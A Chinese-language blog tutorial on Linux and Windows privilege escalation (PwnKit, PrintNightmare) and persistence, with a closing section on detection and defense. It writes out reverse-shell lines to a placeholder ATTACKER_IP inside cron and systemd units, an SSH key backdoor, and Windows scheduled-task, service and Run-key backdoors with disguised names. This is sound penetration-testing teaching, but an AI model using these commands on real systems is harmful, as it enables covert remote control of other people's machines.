2.8、权限的终极目标:提权与持久化

摘要:在攻防对抗中,获取初始访问权限往往只是开始。真正的挑战在于如何将有限的权限提升至最高(提权),并像"潜伏者"一样在目标系统中长期存在(持久化)。本文将深入探讨Linux/Windows的本地内核漏洞提权技术,并详解如何通过后门、计划任务、服务等手段实现持久化控制,同时从防御者视角提供检测与应对策略。


一、 提权:打开系统的"上帝模式"

提权,即权限提升,是指攻击者利用系统漏洞或配置缺陷,从普通用户权限提升至root或SYSTEM最高权限的过程。

1. Linux 内核漏洞提权实战

Linux提权常依赖于内核级漏洞。其基本流程是:信息收集 -> 寻找EXP -> 编译执行

  • 信息收集:首先,你需要了解目标系统。

# 查看系统版本信息

uname -a

# 查看发行版信息

cat /etc/issue

cat /etc/*-release

# 查看当前用户和权限

id

whoami

根据系统版本和内核版本,在 exploit-db.com 等平台搜索对应的漏洞利用代码(EXP)。

  • 经典漏洞举例:CVE-2021-4034 (PwnKit)
    这是一个在Polkit的pkexec组件中存在了长达12年的本地提权漏洞,影响范围极广。

利用步骤

    1. 在攻击机上下载公开的EXP代码,例如 pwnkit.c。
    2. 将EXP上传到目标机器。
    3. 在目标机上编译并执行。

gcc pwnkit.c -o pwnkit

./pwnkit

    1. 执行后,当前Shell将直接获得root权限。

2. Windows 内核漏洞提权实战

Windows提权思路类似,但更依赖成熟的提权辅助工具。

  • 信息收集是关键

查看系统信息

systeminfo

查看补丁列表

wmic qfe get Caption,Description,HotFixID,InstalledOn

将补丁列表与已知的提权漏洞库(如 Watson, Sherlock)进行对比,找出未修补的漏洞。

  • 使用PowerShell自动化工具:PEASS-ng
    WinPEAS 是一个强大的脚本,能自动识别系统中的各种提权弱点,包括漏洞、服务配置错误、凭证存储等。
  • 经典漏洞举例:CVE-2021-34527 (PrintNightmare)
    这是一个Windows打印后台处理程序中的远程代码执行漏洞,同样可用于本地提权。

利用步骤

    1. 使用公开的PowerShell利用脚本。
    2. 在具有普通权限的PowerShell中加载并执行脚本,指定恶意DLL的路径和回连地址。
    3. 成功后,将生成一个新的具有SYSTEM权限的会话。

二、 持久化:成为系统的"幽灵"

获得最高权限后,必须建立持久化,否则目标系统重启或权限被回收后,将前功尽弃。

1. Linux 持久化技术

  • SSH 后门 :这是最隐蔽有效的方式之一。
    • 创建隐藏的SSH授权密钥

echo 'ssh-rsa AAAAB3NzaC... your_public_key' >> /root/.ssh/authorized_keys

    • 修改SSH配置,允许root登录

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

systemctl restart ssh

  • 计划任务(Cron Jobs)

# 编辑root用户的计划任务

crontab -e

# 添加一行,例如每小时的01分反向连接到一个IP

# 1 * * * * /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

  • 系统服务(Systemd Service)
    创建一个恶意服务文件(如/etc/systemd/system/backdoor.service):

Unit

Description=A harmless looking service

Service

Type=simple

ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1'

Restart=always

RestartSec=3

Install

WantedBy=multi-user.target

然后启动并启用它:

systemctl enable backdoor.service

systemctl start backdoor.service

2. Windows 持久化技术

  • 计划任务(Task Scheduler)
    使用schtasks命令创建一个计划任务,定期执行payload。

schtasks /create /tn "WindowsUpdateService" /tr "C:\malware\backdoor.exe" /sc hourly /ru SYSTEM /f

  • Windows 服务
    使用sc命令创建一个服务。

sc create "FakeSensorService" binPath= "C:\malware\backdoor.exe" start= auto

sc start FakeSensorService

  • 注册表启动项
    将后门路径写入运行键,实现开机自启。

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\malware\backdoor.exe" /f

  • "映像劫持"(IFEO)
    可以劫持一个系统常用程序(如sethc.exe-粘滞键),在用户触发时同时运行后门,常用于权限维持。

三、 防御者视角:如何检测与防护

攻击技术的另一面,就是防御的要点。

  • 提权防护
    1. 及时更新:严格遵循补丁管理策略,及时安装安全更新。
    2. 最小权限原则:为应用程序和用户分配所需的最小权限,避免使用高权限账户运行常规程序。
    3. 系统强化:禁用不必要的服务和功能,使用安全基线进行配置。
  • 持久化检测
    1. 监控计划任务与服务:定期审计系统上的计划任务、服务列表和启动项,关注异常项。
    2. 文件完整性监控:监控系统关键目录(如System32、启动目录)的文件变化。
    3. 网络流量分析:检测是否存在未知的、定时的外联连接。
    4. 日志分析:集中收集和分析系统日志、安全日志、PowerShell日志,寻找攻击痕迹。

结语

提权与持久化是渗透测试中承上启下的关键环节,理解这些技术背后的原理,不仅能让我们在红队行动中游刃有余,更能从根本上帮助蓝队构建更坚固的防御体系。

安全是一个持续对抗的过程,知攻方能善防。

(本文仅用于技术研究与防御教学,请勿用于非法用途。)

相关推荐
SuperherRo5 小时前
JS逆向-安全辅助项目&Yakit热加载&魔术方法&模版插件语法&JSRpc进阶调用&接口联动
javascript·安全·yakit·jsrpc·热加载
梵得儿SHI6 小时前
Java 反射机制深度剖析:性能与安全性的那些坑
java·开发语言·安全·反射·动态代理·性能·反射机制
来旺7 小时前
互联网大厂Java面试全解析及三轮问答专项
java·数据库·spring boot·安全·缓存·微服务·面试
Brianna Home9 小时前
博客安全攻防演练:从攻击者视角构筑铜墙铁壁
网络·数据库·安全·oracle
施嘉伟10 小时前
SQL Server安全配置全面检查与优化方案
数据库·安全
Andya_net10 小时前
网络安全 | SSL/TLS 证书文件格式详解:PEM、CRT、CER、DER、PKI、PKCS12
安全·web安全·ssl
newxtc16 小时前
【昆明市不动产登记中心-注册安全分析报告】
人工智能·安全
忧郁的橙子.20 小时前
十六、kubernetes 1.29 之 集群安全机制
安全·容器·kubernetes
f0rev3r21 小时前
NewStarCTF2025-WEEK2
网络安全